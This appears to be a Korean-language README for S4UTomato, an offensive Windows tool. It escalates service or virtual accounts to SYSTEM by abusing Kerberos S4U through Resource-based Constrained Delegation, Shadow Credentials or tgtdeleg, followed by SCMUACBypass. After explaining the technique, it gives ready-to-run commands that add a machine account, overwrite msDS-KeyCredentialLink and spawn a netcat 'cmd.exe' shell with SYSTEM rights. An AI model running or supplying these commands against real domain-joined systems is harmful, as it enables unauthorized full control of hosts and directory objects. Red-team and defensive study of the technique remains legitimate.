
서비스 계정을 Kerberos를 통해 LocalSystem으로 승격
Kerberos를 통해 서비스 계정을 LocalSystem으로 승격.
"Potato" 권한 상승 시리즈에 익숙한 분들은 서비스 계정 권한을 로컬 시스템 권한으로 상승시킬 수 있다는 것을 알고 있을 것입니다. 초기 "Potato"의 공격 기법은 거의 동일합니다: COM 인터페이스의 특정 기능을 활용하여 NT AUTHORITY\SYSTEM 계정을 속여 공격자가 제어하는 RPC 서버에 연결 및 인증하게 하는 것입니다. 그런 다음 일련의 API 호출을 통해 이 인증 과정에서 중간자(NTLM 릴레이) 공격을 수행하여 로컬 시스템의 NT AUTHORITY\SYSTEM 계정에 대한 액세스 토큰을 생성합니다. 마지막으로 이 토큰을 탈취하고 CreateProcessWithToken() 또는 CreateProcessAsUser() 함수를 사용하여 토큰을 전달하고 새 프로세스를 생성하여 SYSTEM 권한을 얻습니다.
Windows 도메인 환경에서 SYSTEM, NT AUTHORITY\NETWORK SERVICE 및 Microsoft 가상 계정은 도메인에 가입된 시스템 컴퓨터 계정에 의해 인증에 사용됩니다. 이 점을 이해하는 것이 중요한 이유는 최신 Windows 버전에서 대부분의 Windows 서비스가 기본적으로 Microsoft 가상 계정을 사용하여 실행되기 때문입니다. 특히 IIS와 MSSQL은 이러한 가상 계정을 사용하며, 다른 애플리케이션에서도 사용할 가능성이 있다고 생각합니다. 따라서 S4U 확장을 악용하여 로컬 머신의 도메인 관리자 계정 "Administrator"에 대한 서비스 티켓을 얻을 수 있습니다. 그런 다음 James Forshaw(@tiraniddo)의 SCMUACBypass를 사용하여 해당 티켓으로 시스템 서비스를 만들고 SYSTEM 권한을 얻습니다. 이는 "Potato" 계열 권한 상승 기술의 전통적인 방법과 동일한 효과를 냅니다.
머신이 도메인에 가입된 상황이라면, Active Directory가 이러한 공격을 완전히 방어하도록 강화되지 않은 상태에서 Windows 서비스 계정 또는 Microsoft 가상 계정의 컨텍스트로 코드를 실행할 수 있는 한 위에서 언급한 기술을 로컬 권한 상승에 활용할 수 있습니다.
이를 위해 먼저 로컬 머신 계정의 TGT(티켓 승인 티켓)를 얻어야 합니다. 서비스 계정 권한의 제약으로 인해 컴퓨터의 장기 키(Long-term Key)를 얻을 수 없어 KRB_AS_REQ 요청을 구성할 수 없기 때문에 쉽지 않습니다. 위 목표를 달성하기 위해 저는 세 가지 기술을 활용했습니다: Resource-based Constrained Delegation, Shadow Credentials, 그리고 Tgtdeleg입니다. 이 프로젝트는 Rubeus 도구 세트를 기반으로 구축했습니다.
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain 인증할 도메인(FQDN).
-s, --Server 도메인 컨트롤러 또는 LDAP 서버의 호스트 이름.
-m, --ComputerName 생성할 새 컴퓨터 계정.
-p, --ComputerPassword 생성할 새 컴퓨터 계정의 암호.
-f, --Force 컴퓨터 개체의 'msDS-KeyCredentialLink' 속성을 강제로 업데이트합니다.
-c, --Command 실행할 프로그램.
-v, --Verbose 자세한 디버그 정보를 출력합니다.
--help 이 도움말 화면을 표시합니다.
--version 버전 정보를 표시합니다.
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

# 먼저 Tgtdeleg를 통해 TGT를 검색합니다
S4UTomato.exe tgtdeleg
# 그런 다음 SCMUACBypass를 실행하여 SYSTEM 권한을 얻습니다
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
